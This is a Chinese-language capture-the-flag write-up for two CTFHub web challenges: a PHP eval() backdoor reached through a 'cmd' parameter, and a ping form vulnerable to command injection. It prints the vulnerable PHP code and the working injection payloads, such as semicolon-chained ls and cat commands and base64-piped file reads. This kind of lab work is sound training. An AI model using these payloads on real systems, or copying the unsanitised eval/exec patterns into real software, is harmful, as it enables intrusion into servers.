–>CTFHub传送门<–

一、eval执行

<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行
先查看一下根目录文件 /?cmd=system("ls");
!切记最后的分号不可省略!
在这里插入图片描述
没有需要的文件
看看上一级的文件夹 /?cmd=system("ls /");
!切记最后的分号不可省略!

在这里插入图片描述
打开flag文件发现FLAG /?cmd=system("cat flag_1171");
!切记最后的分号不可省略!

在这里插入图片描述

二、命令注入

打开界面,命令应该是通过表单注入的
在这里插入图片描述
关键代码

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $cmd = "ping -c 4 {$_GET['ip']}";
    exec($cmd, $res);
}

?>

IP会拼接成CMD指令然后运行
先测试一下IP 127.0.0.1
在这里插入图片描述
试一下能否用分号间隔运行多重命令
试试获取目录 127.0.0.1;pwd;ls;
在这里插入图片描述
发现同目录下还有一个PHP,应该就是FLAG的位置
直接打开看看 127.0.0.1;cat 2160627659946.php
但是发现打不开!
猜测可能是里面有特殊字符
使用管道运行base64加密内容再打开
127.0.0.1;cat 2160627659946.php | base64
显示的密文即是FLAG
在这里插入图片描述

欢迎在评论区留言
感谢浏览

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐